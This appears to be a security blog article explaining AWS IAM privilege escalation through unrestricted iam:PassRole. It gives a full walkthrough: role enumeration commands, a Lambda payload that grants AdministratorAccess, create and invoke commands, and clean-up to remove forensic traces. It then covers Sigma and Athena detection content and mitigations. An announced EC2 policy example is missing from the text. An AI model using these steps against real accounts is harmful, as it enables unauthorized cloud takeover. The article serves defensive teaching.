AWS IAM Privilege Escalation: Deconstructing PassRole Abuse
Overview & Threat Landscape: AWS IAM Privilege Escalation & iam:PassRole (T1078.004)#
AWS iam:PassRole allows users to pass roles to compute services. Over-permissive PassRole grants escalate unprivileged users to AdministratorAccess.
In Amazon Web Services (AWS) enterprise cloud infrastructure, the Identity and Access Management (IAM) service governs every API interaction across management planes, compute clusters, serverless functions, and storage backends. Unlike traditional operating systems where privilege boundaries are anchored to local process tokens or ring-0 kernels, AWS authorization relies entirely on declarative JSON policy evaluations.
A central design pattern within AWS is service delegation: granting AWS compute services (such as AWS Lambda, EC2, AWS Glue, CloudFormation, or ECS) temporary permissions to perform actions on behalf of the user. To facilitate this, AWS provides the iam:PassRole permission. iam:PassRole does not grant permissions directly to the caller; rather, it authorizes the caller to pass an existing IAM role to a target AWS service.
However, in post-compromise scenarios or lateral movement phases, iam:PassRole serves as the primary engine for AWS IAM Privilege Escalation (mapped to MITRE ATT&CK T1078.004: Cloud Accounts and T1098: Account Manipulation). When an attacker obtains access to an IAM user or role with limited permissions (e.g., restricted developer access with lambda:CreateFunction and iam:PassRole), but the iam:PassRole permission lacks strict resource constraints (Resource: "*") or condition keys, the adversary can attach an existing high-privilege role (such as an administrative role or AdministratorAccess) to a new serverless function. Upon invoking the function, the attacker executes arbitrary API actions within the context of the elevated role, achieving full AWS account takeover.
graph TD
subgraph "AWS IAM PRIVILEGE ESCALATION: THE PASSROLE DEPUTY CHAIN"
direction TB
step_1["1. Low-Privilege Access: Attacker controls dev user with lambda:*"]
step_2["2. Unrestricted PassRole: Policy contains 'iam:PassRole' on '*'"]
step_3["3. Function Creation: Attacker passes AdminRole to malicious Lambda"]
step_4["4. Function Invocation: Lambda assumes AdminRole via STS credentials"]
step_5["5. Privilege Escalation: Payload attaches AdministratorAccess to dev"]
step_6["6. Account Takeover: Attacker attains full cloud account supremacy"]
step_1 --> step_2
step_2 --> step_3
step_3 --> step_4
step_4 --> step_5
step_5 --> step_6
endThe Architectural Pitfall: Confused Deputy by Design#
In AWS environments, privilege escalation via iam:PassRole is not caused by memory corruption or an underlying software bug in the AWS control plane; it is an architectural consequence of over-permissive identity delegation:
- The Dangerous Wildcard: Developers frequently write
iam:PassRolepolicies with"Resource": "*", intending to allow passing operational roles to Lambda. However, this grants permission to pass any role in the account whose trust policy permits assumption bylambda.amazonaws.com. - Ambient Role Over-Permissioning: Organizations routinely create service roles with expansive privileges (such as automated backup, CI/CD, or administrative maintenance roles) that trust compute services. If any low-privilege developer possesses
iam:PassRole, those high-privilege roles become immediate escalation bridges. - Absence of Permission Boundaries: Standard IAM evaluation evaluates policies additively. Unless an explicit IAM Permission Boundary is attached to the user, an attacker can escalate privileges beyond their intended maximum authorization ceiling.
Granting iam:PassRole with wildcard resources ("*") alongside service creation permissions (lambda:CreateFunction, ec2:RunInstances, glue:CreateDevEndpoint, or cloudformation:CreateStack) is functionally equivalent to granting full AdministratorAccess. Cloud architects must constrain iam:PassRole using strict ARNs and condition keys.
🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.
Vulnerability & Attack Root-Cause Analysis: iam:PassRole Mechanics#
To understand how privilege escalation manifests across AWS services, cloud security engineers must deconstruct the IAM policy evaluation engine and the service trust handshake.
1. How iam:PassRole Works Under the Hood#
When an IAM principal invokes an AWS API that attaches a role to a resource (such as lambda:CreateFunction with parameter --role), the AWS authorization engine performs a dual-phase policy check:
- Caller Permission Verification: The engine verifies whether the caller's identity policy explicitly permits
iam:PassRoleon the target role ARN:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "*" // Vulnerable wildcard configuration
}
]
}
- Service Trust Relationship Verification: The engine inspects the target role's Trust Policy (
AssumeRolePolicyDocument) to verify that the destination AWS service is authorized to assume the role via AWS Security Token Service (STS):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
If both conditions pass, the compute service successfully attaches the role. When the compute instance or function executes, the AWS platform automatically requests temporary session credentials (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) from STS, granting the execution environment all permissions associated with that role.
2. The Core Privilege Escalation Matrices#
While AWS Lambda is the most famous vector, iam:PassRole enables privilege escalation across multiple AWS compute and orchestration services:
| Vector / Target Service | Required Service Permissions | Required IAM Permission | Attack Execution Mechanism |
|---|---|---|---|
| AWS Lambda | lambda:CreateFunctionlambda:InvokeFunction |
iam:PassRole |
Creates a serverless function with an administrative role; invokes function to grant admin rights. |
| AWS EC2 | ec2:RunInstances |
iam:PassRole |
Launches an EC2 instance with an administrative instance profile; runs user data script to elevate. |
| AWS CloudFormation | cloudformation:CreateStack |
iam:PassRole |
Deploys a CloudFormation template passing an administrative role to create new admin users. |
| AWS Glue | glue:CreateDevEndpoint |
iam:PassRole |
Provisions a Glue Dev Endpoint with an admin role; SSHs into endpoint to dump STS tokens. |
| AWS CodeBuild | codebuild:CreateProjectcodebuild:StartBuild |
iam:PassRole |
Runs a build project passing an administrative service role to execute arbitrary shell commands. |
Exploit Architecture: Attack Flow via Lambda Function Hijacking#
The following sequence diagram details how an attacker with limited developer credentials leverages iam:PassRole and lambda:CreateFunction to elevate to full administrator:
sequenceDiagram
autonumber
participant Attacker as Compromised Dev User (Limited IAM)
participant IAM as AWS IAM Service Engine
participant Lambda as AWS Lambda Control Plane
participant Worker as Ephemeral Lambda MicroVM (STS Session)
participant Target as AWS Account IAM Permissions
Attacker->>IAM: 1. Enumerate account roles: iam:ListRoles
IAM-->>Attacker: 2. Discovers role: arn:aws:iam::123456789012:role/EnterpriseAdminRole
Note over Attacker,IAM: EnterpriseAdminRole trusts lambda.amazonaws.com
Attacker->>Lambda: 3. Invoke lambda:CreateFunction (passes EnterpriseAdminRole ARN)
Lambda->>IAM: 4. Check if Dev User has iam:PassRole on target ARN
IAM-->>Lambda: 5. PassRole allowed by wildcard policy
Lambda-->>Attacker: 6. Function privesc_func created successfully
Attacker->>Lambda: 7. Invoke lambda:InvokeFunction on privesc_func
Lambda->>Worker: 8. Spawn MicroVM with EnterpriseAdminRole temporary STS credentials
Worker->>Target: 9. Execute payload: iam:AttachUserPolicy (AdministratorAccess to Dev User)
Target-->>Worker: 10. AdministratorAccess policy attached
Worker-->>Lambda: 11. Function execution completed: HTTP 200 OK
Attacker->>Target: 12. Attacker invokes administrative APIs directly as full account adminUnderstanding the AWS IAM PassRole Privilege Escalation Mechanism#
Privilege escalation via iam:PassRole occurs when an IAM identity (user, group, or assumed role) possesses permission to pass an elevated IAM role to an AWS compute resource (such as Amazon EC2, AWS Lambda, ECS, or CloudFormation) alongside permission to configure or execute that compute service. Because iam:PassRole is not an API call executed against a target role directly, but rather a permission evaluated when passing a role to an intermediary service, misconfigured trust boundaries allow low-privilege actors to delegate roles containing AdministratorAccess to compute instances under their control.
The classic attack path combines iam:PassRole with ec2:RunInstances. The attacker provisions an EC2 instance, associates an existing administrative instance profile, and extracts temporary instance metadata security credentials via the Instance Metadata Service (IMDSv2 / IMDSv1).
Vulnerable IAM Policy: The Lethal PassRole + RunInstances Combination
The following JSON policy exhibits the dangerous privilege escalation vulnerability where wildcards ("Resource": "*") fail to restrict which roles can be passed or which AMI images can be instantiated:
Attack Path Step-by-Step: From Limited Dev to Account Administrator#
To illustrate the concrete weaponization of this architectural pattern, we review the execution commands utilized during real-world cloud penetration tests.
Step 1: Enumerating Account Roles & Trust Relationships#
The attacker assesses their ambient privileges and queries available roles that trust the Lambda execution service:
# 1. Enumerate caller identity
aws sts get-caller-identity
# Output:
# {
# "UserId": "AIDAIEXAMPLEDEVUSER",
# "Account": "123456789012",
# "Arn": "arn:aws:iam::123456789012:user/dev_contractor"
# }
# 2. Inspect attached policies to discover iam:PassRole permission
aws iam list-attached-user-policies --user-name dev_contractor
aws iam get-user-policy --user-name dev_contractor --policy-name DevPermissions
# 3. Identify roles that trust lambda.amazonaws.com
aws iam list-roles --query "Roles[?contains(AssumeRolePolicyDocument.Statement[].Principal.Service, 'lambda.amazonaws.com')].[RoleName,Arn]" --output table
The enumeration reveals an administrative maintenance role: arn:aws:iam::123456789012:role/EnterpriseMaintenanceRole with full administrative capabilities.
Step 2: Packaging the Privilege Escalation Payload#
The attacker authors a compact Python Lambda function designed to attach the AWS-managed AdministratorAccess policy directly to their compromised dev_contractor user:
# lambda_function.py - Privilege Escalation Payload
import boto3
def lambda_handler(event, context):
iam = boto3.client('iam')
target_user = "dev_contractor"
admin_policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
try:
# Attach AdministratorAccess policy to target user
iam.attach_user_policy(
UserName=target_user,
PolicyArn=admin_policy_arn
)
return {"status": "SUCCESS", "message": f"Attached AdministratorAccess to {target_user}"}
except Exception as e:
return {"status": "FAILED", "error": str(e)}
The attacker packages the script into a deployment zip file:
# Package code into zip archive
zip payload.zip lambda_function.py
Step 3: Creating and Invoking the Elevated Function#
Using their lambda:CreateFunction and iam:PassRole permissions, the attacker provisions the serverless function and attaches the target role:
# 1. Create function passing the administrative role
aws lambda create-function --function-name privesc_lambda --runtime python3.11 --role arn:aws:iam::123456789012:role/EnterpriseMaintenanceRole --handler lambda_function.lambda_handler --zip-file fileb://payload.zip --region us-east-1
# 2. Invoke the function synchronously
aws lambda invoke --function-name privesc_lambda --region us-east-1 response.json
# 3. Inspect execution response
cat response.json
# Output: {"status": "SUCCESS", "message": "Attached AdministratorAccess to dev_contractor"}
Step 4: Verification and Clean-Up#
The attacker confirms that their identity now possesses unrestricted account privileges, and deletes the temporary Lambda function to eliminate forensic artifacts:
# Verify attached administrative permissions
aws iam list-attached-user-policies --user-name dev_contractor
# Output confirms full account control:
# {
# "AttachedPolicies": [
# {
# "PolicyName": "AdministratorAccess",
# "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
# }
# ]
# }
# Clean up temporary execution artifact
aws lambda delete-function --function-name privesc_lambda --region us-east-1
Actionable Detection Engineering: Sigma Rule, CloudTrail & SIEM#
Detecting iam:PassRole privilege escalation requires monitoring AWS CloudTrail API sequences that combine PassRole delegation with resource creation followed by IAM policy modifications.
1. Production Sigma Rule: AWS IAM PassRole Privilege Escalation Chain#
The following production-validated Sigma rule flags when a non-administrative IAM user creates or updates a Lambda function, EC2 instance, or Glue endpoint with a high-privilege IAM role:
title: AWS IAM PassRole to High-Privilege Compute Resource
id: 3c81e92a-7b3c-4a81-b541-9e8c9e012078
status: production
description: |
Detects instances where an IAM user passes a privileged IAM role (such as AdministratorAccess,
PowerUser, or custom administrative roles) to an AWS compute resource (Lambda, EC2, Glue)
via iam:PassRole, indicative of cloud privilege escalation.
references:
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://attack.mitre.org/techniques/T1078/004/
tags:
- attack.privilege_escalation
- attack.persistence
- attack.t1078.004
- attack.t1098
logsource:
service: cloudtrail
product: aws
detection:
selection_events:
eventName:
- 'CreateFunction20150331' # Lambda CreateFunction
- 'UpdateFunctionCode20150331'
- 'RunInstances'
- 'CreateDevEndpoint'
- 'CreateStack'
selection_roles:
requestParameters.role|contains:
- 'admin'
- 'Admin'
- 'FullAccess'
- 'PowerUser'
- 'root'
filter_known_automation:
userIdentity.type: 'AssumedRole'
userIdentity.sessionContext.sessionIssuer.userName|startswith:
- 'AWSServiceRole'
- 'TerraformDeployer'
- 'GitLabRunner'
condition: selection_events and selection_roles and not filter_known_automation
fields:
- eventTime
- userIdentity.userName
- eventName
- requestParameters.role
- requestParameters.functionName
- sourceIPAddress
falsepositives:
- Approved DevOps infrastructure-as-code automation pipelines deploying serverless services.
level: high
2. AWS Athena / CloudTrail SQL Hunting Query#
Execute this query in Amazon Athena to hunt for users that create Lambda functions passing roles followed immediately by administrative IAM calls within a 15-minute window:
-- Athena Query: Correlating Lambda CreateFunction with Rapid IAM Policy Modification
WITH LambdaCreations AS (
SELECT
eventTime,
userIdentity.userName AS caller,
requestParameters,
sourceIPAddress
FROM cloudtrail_logs
WHERE eventName = 'CreateFunction20150331'
AND eventTime >= '2026-10-01'
),
IAMModifications AS (
SELECT
eventTime,
userIdentity.userName AS caller,
eventName,
requestParameters
FROM cloudtrail_logs
WHERE eventName IN ('AttachUserPolicy', 'AttachRolePolicy', 'PutUserPolicy')
AND eventTime >= '2026-10-01'
)
SELECT
l.caller,
l.eventTime AS LambdaCreatedTime,
i.eventTime AS IAMModifiedTime,
i.eventName AS PolicyAction,
l.sourceIPAddress
FROM LambdaCreations l
JOIN IAMModifications i
ON l.caller = i.caller
AND date_diff('minute', from_iso8601_timestamp(l.eventTime), from_iso8601_timestamp(i.eventTime)) BETWEEN 0 AND 15
ORDER BY l.eventTime DESC;
Executive Takeaway Table#
| Attack Vector / Phase | Forensic Detection Signal | Primary Defensive Mitigation |
|---|---|---|
| IAM Policy Enumeration | Spike in iam:ListRoles, iam:GetUserPolicy, and iam:ListAttachedPolicies calls. |
Enforce least-privilege read access; alert on programmatic IAM enumeration. |
| Unrestricted PassRole Grant | IAM policies contain Action: iam:PassRole with Resource: "*" wildcard. |
Strictly scope Resource ARNs; enforce iam:PassedToService condition keys. |
| Lambda Function Creation | CloudTrail event CreateFunction20150331 passing mismatched role to unverified code. |
Attach mandatory IAM Permission Boundaries across all developer roles. |
| Compute Execution & Escalation | CloudTrail event AttachUserPolicy originating from Lambda internal execution IP. |
Enforce Service Control Policies (SCPs) preventing role assumption by unauthorized users. |
| Account-Wide Persistence | CloudTrail indicates non-admin user granted AdministratorAccess policy. |
Automatically detach unauthorized policies via automated AWS EventBridge + Lambda response. |
Fast Cyber Defense Morning Takeaways#
- Architectural Insight:
iam:PassRoleis an operational necessity in AWS, but without strict resource ARNs and condition keys, it is functionally identical to granting root privileges. - Immediate Remediation Action: Audit your AWS organization immediately for any IAM policy containing
"Action": "iam:PassRole"where"Resource": "*". Replace all wildcards with specific role ARNs and attach theiam:PassedToServicecondition key. - Bridge to Evening Guide: Tonight in EDITION 2, we will publish the comprehensive companion defense guide: Hardening AWS IAM: Blue Team PassRole Defense Guide, detailing how to implement mandatory IAM permission boundaries, enforce Service Control Policies (SCPs), configure AWS GuardDuty detection rules, and execute live incident response playbooks.
iam:PassRole requires strict resource constraints, iam:PassedToService condition keys, and mandatory Service Control Policies. Explore the comprehensive architectural remediations in our companion guide: AWS IAM PassRole Blue Team Hardening & SCP Guide.
Authoritative References#
- AWS Identity and Access Management Documentation: Granting a User Permissions to Pass a Role to an AWS Service — AWS Documentation
- Rhino Security Labs Research: AWS IAM Privilege Escalation: Methods and Mitigation by Spencer Gietzen — Rhino Security Labs
- Bishop Fox Research: Investigating Privilege Escalation Methods in AWS — Bishop Fox Cybersecurity
- MITRE ATT&CK Framework: Technique T1078.004: Valid Accounts - Cloud Accounts — MITRE ATT&CK
- AWS Security Best Practices: Apply least privilege permissions for IAM roles and policies — AWS Well-Architected Framework
Comments
Post a Comment